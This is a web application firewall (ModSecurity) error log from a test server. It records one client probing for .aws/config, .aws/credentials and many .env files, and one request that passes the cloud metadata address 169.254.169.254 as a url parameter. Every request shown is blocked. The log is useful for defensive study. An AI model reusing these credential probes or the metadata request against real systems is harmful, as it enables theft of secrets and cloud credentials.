[Sun Jun 29 20:21:23.239345 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /hidden/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWJgAAAAA&quot;]
[Sun Jun 29 20:21:23.239632 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWJgAAAAA&quot;]
[Sun Jun 29 20:21:23.239832 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/config&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWJgAAAAA&quot;]
[Sun Jun 29 20:21:23.259962 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /hidden/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWJwAAAAA&quot;]
[Sun Jun 29 20:21:23.260211 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWJwAAAAA&quot;]
[Sun Jun 29 20:21:23.260407 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.aws/credentials&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWJwAAAAA&quot;]
[Sun Jun 29 20:21:23.280465 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hidden/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWKAAAAAA&quot;]
[Sun Jun 29 20:21:23.280705 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWKAAAAAA&quot;]
[Sun Jun 29 20:21:23.280914 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hidden/.env&quot;] [unique_id &quot;aGGEIzOxdet7QOoqVXWWKAAAAAA&quot;]
[Sun Jun 29 20:21:28.627137 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id &quot;aGGEKDOxdet7QOoqVXWWNwAAAAA&quot;]
[Sun Jun 29 20:21:28.627555 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id &quot;aGGEKDOxdet7QOoqVXWWNwAAAAA&quot;]
[Sun Jun 29 20:21:28.627752 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/admin&quot;] [unique_id &quot;aGGEKDOxdet7QOoqVXWWNwAAAAA&quot;]
[Sun Jun 29 20:21:37.519990 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWPgAAAAA&quot;]
[Sun Jun 29 20:21:37.520255 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWPgAAAAA&quot;]
[Sun Jun 29 20:21:37.520456 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWPgAAAAA&quot;]
[Sun Jun 29 20:21:37.626224 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWQwAAAAA&quot;]
[Sun Jun 29 20:21:37.626477 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWQwAAAAA&quot;]
[Sun Jun 29 20:21:37.626664 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWQwAAAAA&quot;]
[Sun Jun 29 20:21:37.815165 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWTAAAAAA&quot;]
[Sun Jun 29 20:21:37.815409 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWTAAAAAA&quot;]
[Sun Jun 29 20:21:37.815605 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWTAAAAAA&quot;]
[Sun Jun 29 20:21:37.878164 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWTwAAAAA&quot;]
[Sun Jun 29 20:21:37.878426 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWTwAAAAA&quot;]
[Sun Jun 29 20:21:37.878625 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kyc/.env&quot;] [unique_id &quot;aGGEMTOxdet7QOoqVXWWTwAAAAA&quot;]
[Sun Jun 29 20:21:38.043712 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aGGEMjOxdet7QOoqVXWWUgAAAAA&quot;]
[Sun Jun 29 20:21:38.043946 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aGGEMjOxdet7QOoqVXWWUgAAAAA&quot;]
[Sun Jun 29 20:21:38.044147 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aGGEMjOxdet7QOoqVXWWUgAAAAA&quot;]
[Sun Jun 29 20:21:42.932223 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aGGENjOxdet7QOoqVXWWUwAAAAA&quot;]
[Sun Jun 29 20:21:42.932458 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aGGENjOxdet7QOoqVXWWUwAAAAA&quot;]
[Sun Jun 29 20:21:42.932670 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aGGENjOxdet7QOoqVXWWUwAAAAA&quot;]
[Sun Jun 29 20:21:43.089473 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aGGENzOxdet7QOoqVXWWWQAAAAA&quot;]
[Sun Jun 29 20:21:43.089718 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aGGENzOxdet7QOoqVXWWWQAAAAA&quot;]
[Sun Jun 29 20:21:43.089916 2025] [:error] [pid 2967918] [client 185.177.72.107:53542] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aGGENzOxdet7QOoqVXWWWQAAAAA&quot;]
